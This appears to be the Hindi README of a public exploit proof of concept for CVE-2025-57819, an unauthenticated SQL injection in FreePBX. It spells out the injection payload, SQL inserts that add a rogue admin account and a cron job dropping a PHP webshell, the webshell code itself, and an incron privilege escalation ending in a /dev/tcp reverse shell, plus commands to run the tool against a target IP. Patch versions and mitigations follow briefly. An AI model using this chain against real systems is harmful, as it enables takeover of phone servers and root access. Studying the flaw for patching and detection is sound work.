
CVE-2025-57819 FreePBX SQLi RCE PoC
केवल शैक्षिक एवं सुरक्षा अनुसंधान - कृपया नीचे कानूनी सूचना देखें
CVE-2025-57819 के लिए शोषण प्रमाण-अवधारणा (PoC), FreePBX में एक गंभीर अनऑथेंटिकेटेड SQL इंजेक्शन भेद्यता जो रिमोट कोड निष्पादन की अनुमति देती है। यह PoC आधिकारिक पैच जारी होने के बाद केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण उद्देश्यों के लिए प्रकाशित किया गया है।
FreePBX संस्करण 15.x, 16.x, और 17.x (पैच किए गए संस्करणों से नीचे) endpoint मॉड्यूल के AJAX हैंडलर में अनऑथेंटिकेटेड SQL इंजेक्शन के लिए संवेदनशील हैं। यह शोषण श्रृंखला निम्नलिखित की अनुमति देती है:
| CVE ID | CVE-2025-57819 |
| प्रकार | अनऑथेंटिकेटेड SQL इंजेक्शन (त्रुटि-आधारित) |
| CVSS | 9.8 / 10.0 (गंभीर) |
| प्रभावित | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 |
| पैच किया गया | 15.0.66, 16.0.89, 17.0.3+ |
| CISA KEV | हाँ (अगस्त 29, 2025) |
GET /admin/ajax.php?brand=<PAYLOAD>
endpoint मॉड्यूल के AJAX हैंडलर में brand पैरामीटर बिना सत्यापन के उपयोगकर्ता इनपुट स्वीकार करता है, जिससे त्रुटि-आधारित SQL इंजेक्शन होता है।
डेटाबेस नाम लीक करने के लिए EXTRACTVALUE() त्रुटि-आधारित निष्कर्षण का उपयोग करके SQLi सत्यापित करें:
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
asterisk.ampusers में नया प्रशासनिक उपयोगकर्ता सम्मिलित करें:
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
मान्य प्रशासक क्रेडेंशियल के साथ, शोषण FreePBX में प्रमाणित होता है और एक प्रमाणित सत्र स्थापित करता है। सत्र कुकीज़ को सहेजा जाता है और बाद के सभी प्रमाणित अनुरोधों के लिए उपयोग किया जाता है।
asterisk.cron_jobs में वेबशेल कमांड इंजेक्ट करें:
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
FreePBX क्रॉन रनर asterisk उपयोगकर्ता के रूप में कमांड निष्पादित करता है, PHP वेबशेल गिराता है।
PHP वेबशेल /var/www/html/shell.php पर तैनात किया गया है:
<?php system($_GET['cmd']); ?>
शोषण सक्रियण होने तक वेबशेल को पोल करता है, जिससे asterisk उपयोगकर्ता (uid=999) के रूप में RCE प्राप्त होता है।
यदि लक्ष्य पर incron कॉन्फ़िगर किया गया है:
/var/spool/asterisk/incron/ में ट्रिगर फ़ाइल बनाएँincrond (रूट के रूप में चल रहा है) फ़ाइल निर्माण का पता लगाता है/usr/bin/sysadmin_manager को आमंत्रित करता हैsysadmin_manager GPG हस्ताक्षर को मान्य करता है और fwconsole-commands हुक को भेजता है/usr/sbin/fwconsole <COMMAND>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1परिणाम: रिवर्स लिसनर पर रूट शेल (यदि incron उपलब्ध हो)।
brand पैरामीटर पर कोई इनपुट सत्यापन नहींasterisk.cron_jobs तालिका asterisk के रूप में कमांड निष्पादित करती हैgit clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# Netcat लिसनर सेटअप करें
nc -lvnp <Listener Port>
# शोषण चलाएँ
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

तत्काल:
/admin/ajax.php तक पहुंच प्रतिबंधित करेंsystemctl disable incrondस्थायी: पैच किए गए संस्करणों में अपग्रेड करें: 15.0.66+, 16.0.89+, या 17.0.3+
⚠️ अस्वीकरण
यह प्रमाण-अवधारणा केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान की जाती है। लेखक इस उपकरण के दुरुपयोग या क्षति के लिए कोई दायित्व नहीं मानता है।
आपको अनुपालन करना होगा:
निषिद्ध उपयोग:
दायित्व छूट: लेखक इसके लिए जिम्मेदार नहीं है:
यह भेद्यता:
JazzTheRabbit
MIT License
| संस्करण | स्थिति |
|---|
| 15.0.0 - 15.0.65 | संवेदनशील |
| 15.0.66+ | पैच किया गया |
| 16.0.0 - 16.0.88 | संवेदनशील |
| 16.0.89+ | पैच किया गया |
| 17.0.0 - 17.0.2 | संवेदनशील |
| 17.0.3+ | पैच किया गया |